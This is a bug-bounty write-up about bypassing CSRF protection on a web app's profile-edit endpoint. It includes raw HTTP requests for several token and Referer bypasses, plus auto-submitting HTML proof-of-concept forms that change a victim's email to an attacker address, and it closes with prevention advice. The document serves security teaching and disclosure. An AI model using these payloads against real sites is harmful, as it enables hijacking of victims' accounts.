Easy CSRF bypass
Greetings to the reader, I hope you are doing well.
Today I want to talk about one of my findings in a private program at Hacker-One platform, which refers to it as target.com.
Firstly:
Following some reconnaissance and effort, I found target.com, I create an account on it and tried to understand the application and its functionalities in it. I tried to test a lot of things, but I was unable to identify any successful vulnerabilities.
I decided to play with the profile page where I had the ability to modify various details including email, my first and last name.
When I intercepted the request using burp.
I noticed that the request had a protection token parameter [__RequestVerificationToken] for CSRF. So, I tried to check if there was a CSRF vulnerability in it.
What is CSRF?
Cross-Site Request Forgery is an attack that forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute malicious actions of the attacker’s choosing.
How does CSRF work?
There are some conditions for a CSRF attack to be possible:
- An Action: There should be an API call or POST request that an attacker can take advantage of. The action can be anything like email changing, password reset, profile update, 2FA enabling, etc…
- Cookie-based Session Handling: The application must rely on the session cookies to identify which user made the request. There should be no other protection in place to track users’ requests or any kind of protection like asking secret questions for an update.
- No Token Parameters: The requests that perform the requests do not contain any parameters which contain values that an attacker cannot guess or brute force. Example: If you are going to enable 2FA then the application is likely going to ask you to confirm your password, so in that case the attacker would not be able to successfully use CSRF because of not knowing the password.
Let’s use this request as an example:
POST /profile/edit HTTP/1.1
Host: target.com
Cookie: session=sdfsgsgewrerererddfs
First_name=Paul&Last_name=test&email=test@test.comIf you are looking for that request, you’ll notice that there is no protection for the user to update their profile against CSRF attacks like XSRF token. The attacker can create an HTML file containing the following elements.
<html>
<head>
POC
</head>
<body>
<form action="https://target.com/profile/edit” method="POST">
<input type="hidden" name=“First_name" value=“Attacker” />
<input type="hidden" name="Last_name" value="Hack_you" />
<input type="hidden" name="Email" value="attacker@gmail.com" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>Create the malicious link with the file then send it to the victim’s email and details will be changed successfully as the attacker wants.
I thought of several ways to bypass the protection.
1] Delete the token parameter or send a blank value in the token:
POST /profile/edit HTTP/1.1
Host: target.com
Cookie: session=sdfsgsgewrerererddfs
__RequestVerficationToken=188cyu12057a4rtyyty12aceb9a45dfvc&First_name=test&Last_name=hack&email=test@test.com&Salute=DR&Mobile=0124451&Postcode=8200&Uprn=retestDelete the token parameter: When the server receives a request without the CSRF token parameter, it will not be able to validate the request and may allow the unauthorized action to be executed.
We will send the request in the following way:
POST /profile/edit HTTP/1.1
Host: target.com
Cookie: session=sdfsgsgewrerererddfs
First_name=test&Last_name=hack&email=test@test.com&Salute=DR&Mobile=0124451&Postcode=8200&Uprn=retestOR
Send a blank value: When the server receives a request with a blank CSRF token parameter value, it will compare the value with the valid CSRF token associated with the user session. Since the blank value does not match the valid token, the server may reject the request as invalid, or it may accept the request without verifying the token, thereby bypassing CSRF protection.
POST /profile/edit HTTP/1.1
Host: target.com
Cookie: session=sdfsgsgewrerererddfs
__RequestVerficationToken=&First_name=test&Last_name=hack&email=test@test.com&Salute=DR&Mobile=0124451&Postcode=8200&Uprn=retest2] Use another CSRF token:
Some applications do not validate that the token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool.
POST /profile/edit HTTP/1.1
Host: target.com
Cookie: session=sdfsgsgewrerererddfs
__RequestVerficationToken=188cyu12057a4rtyyty12aceb9a45dfvc&First_name=test&Last_name=hack&email=test@test.com&Salute=DR&Mobile=0124451&Postcode=8200&Uprn=retestTry this
Another valid CSRF token from your account.
POST /profile/edit HTTP/1.1
Host: target.com
Cookie: session=sdfsgsgewrerererddfs
__RequestVerficationToken=Your_Valid_Token&First_name=test&Last_name=hack&email=test@test.com&Salute=DR&Mobile=0124451&Postcode=8200&Uprn=retestOR
Random token with the same size: Application is validating that the token hasn’t been used before by checking its uniqueness, while also ensuring that its size matches a randomly generated value of the same length.
POST /profile/edit HTTP/1.1
Host: target.com
Cookie: session=sdfsgsgewrerererddfs
__RequestVerficationToken=299cyu12057a4rtzzty12acbd9a45dfcc&First_name=test&Last_name=hack&email=test@test.com&Salute=DR&Mobile=0124451&Postcode=8200&Uprn=retest3] Change the request method:
This technique is one of the most important techniques to bypass the protection in different vulnerabilities because Some applications correctly validate the token when the request uses the POST method, but neglect the validation when the GET method is used.
In this situation, the attacker can switch to the GET method to bypass the validation and deliver a CSRF attack.
GET /profile/?__RequestVerficationToken=Your_Token&First_name=test&Last_name=hack&email=test@test.com&Salute=DR&Mobile=0124451&Postcode=8200&Uprn=retest HTTP/1.1
Host: target.com
Cookie: session=sdfsgsgewrerererddfsOR [Without including the Token parameter.]
GET /profile/?First_name=test&Last_name=hack&email=test@test.com&Salute=DR&Mobile=0124451&Postcode=8200&Uprn=retest HTTP/1.1
Host: target.com
Cookie: session=sdfsgsgewrerererddfs4] Clickjacking:
Clickjacking on the same endpoint will bypass all CSRF protection
clickjacking: is a type of attack that tricks users into clicking on a button or link on a web page that is hidden or disguised as a legitimate element. This is done by placing an invisible layer over a legitimate web page and making it appear as if the user is interacting with that page. When the user clicks on a seemingly legitimate button or link, they are actually clicking on a button or link on the hidden layer, which can trigger malicious actions without their knowledge or consent.
Clickjacking attacks can be used to perform a variety of malicious actions, such as stealing sensitive information, downloading malware, or even making unauthorized purchases. These attacks can be particularly effective because they rely on the trust that users have in legitimate websites and can be difficult to detect.
Tool: Burp Clickbandit makes it quicker and easier to test for clickjacking vulnerabilities. This is when an attack overlays a frame on a decoy website to trick a user into clicking on actionable content. Clickbandit enables you to create an attack to confirm that this vulnerability can be successfully exploited. You use your browser to perform actions on a website, then Clickbandit creates an HTML file with a clickjacking overlay.
Burp Clickbandit runs in your browser using JavaScript. More details here https://portswigger.net/burp/documentation/desktop/tools/clickbandit
5] manipulate with the Referrer header:
Referrer header is an HTTP header that contains information about the URL of the web page that the user was on before making a request to the current web page. The Referrer header is automatically sent by the user’s web browser with each request made to a web server, unless the user has disabled it.
The Referrer header is used by web developers for a variety of purposes, such as tracking website usage statistics and providing personalized content to users. It is also used to protect against CSRF (Cross-Site Request Forgery) attacks.
If there is any validation for the Referrer, I’ve seen sites check if the Referrer is their site and if yes then allow the request. If no then lock the request. An interesting approach to stopping CSRF attacks and with these bypasses are created.
A) Some sites only check if it contains their website URL, meaning we can just create a file/folder with the target URL on our site to send the CSRF request from like
- Normal Request:
POST /profile/edit HTTP/1.1
Host: target.com
Cookie: session=sdfsgsgewrerererddfs
Referer: https://target.com/
__RequestVerficationToken=Your_valid_Token&First_name=test&Last_name=hack&email=test@test.com&Salute=DR&Mobile=0124451&Postcode=8200&Uprn=retest- Our Request:
POST /profile/edit HTTP/1.1
Host: target.com
Cookie: session=sdfsgsgewrerererddfs
Referer: https://attacker.com/https://target.com/
__RequestVerficationToken=Your_valid_Token&First_name=test&Last_name=hack&email=test@test.com&Salute=DR&Mobile=0124451&Postcode=8200&Uprn=retestB) Remove the Referrer header from our request by using the meta tag in our exploit like
<!DOCTYPE html>
<html lang="en">
<!-- CSRF POC - generated by Burp suite professional -->
<body>
<script>history.pushState('','','/')</script>
<form action="https://target.com/profile" method="post">
<input type="hidden" name="email" value="attacker@gmail.com">
<input type="hidden" name="Salute" value="DR">
<input type="hidden" name="FirstName" value="Attacker">
<input type="hidden" name="LastName" value="account">
<input type="hidden" name="Mobile" value="0121012">
<input type="hidden" name="Postcode" value="">
<input type="hidden" name="Uprn" value="">
<input type="submit" name="" value="submit Request">
<!-- Remove the Referer header from the Request -->
<meta name="referrer" content="no-referrer">
</form>
</body>
</html>** Our scenario:
In our scenario, IF we received in the response 302 Found response means that the target is vulnerable to CSRF, otherwise It is not a CSRF vulnerability.
* Change the request method:
when I changed the request method to GET and forward the request, it is not accepted
* Delete the token parameter or send a blank value in the token value:
When I removed the parameter and forward the request, it is accepted
Also when sending a blank value, it is accepted
** our attack scenario steps:
1] Login with your valid credentials in the Firefox browser.
2] Change anything on the profile page.
3] Intercept the request using Burp suite professional.
4] Send Request to Repeater.
5] Engagement tools in burp.
6] Generate CSRF POC like the following.
7] Copy CSRF HTML POC and save it in POC.html.
8] Create our malicious link with the HTML file and send it to our victim mail.
9] If the victim opened the link.
10] Boom! Our exploit will execute, and all the details will be changed just like we intended.
I reported it and the Hacker one triage team set the severity to “medium”:)
How to Prevent CSRF vulnerability[protection]:
In this section, we will talk in brief about how the developers can protect their websites from CSRF attacks::
1] CSRF tokens :
A CSRF token must be a unique, secret, and unpredictable value that is generated by the server-side application and shared with the client. When attempting to perform a sensitive action, such as submitting a form, the client must include the correct CSRF token in the request. This makes it very difficult for an attacker to construct a valid request on behalf of the victim.
2] SameSite cookies:
SameSite is a browser security mechanism that determines when a website’s cookies are included in requests originating from other websites. As requests to perform sensitive actions typically require an authenticated session cookie, the appropriate SameSite restrictions may prevent an attacker from triggering these actions cross-site.
3] Check if your framework has built-in CSRF protection and use it:
If framework does not have built-in CSRF protection, add CSRF tokens to all state-changing requests (requests that cause actions on the site) and validate them on the back end
4] Implement CORS headers:
Cross-Origin Resource Sharing (CORS) is a mechanism that allows websites to control access to their resources from other domains. By implementing CORS headers, organizations can restrict access to sensitive resources, such as APIs or user data, to only trusted domains.
I hope you found this useful.
AI-Powered Cyber Threat Detection and Response: SIEM and Compliance solution powered by AI, real-time correlation, and threat intelligence. Built for simplicity, reduced noise and affordability. Learn More
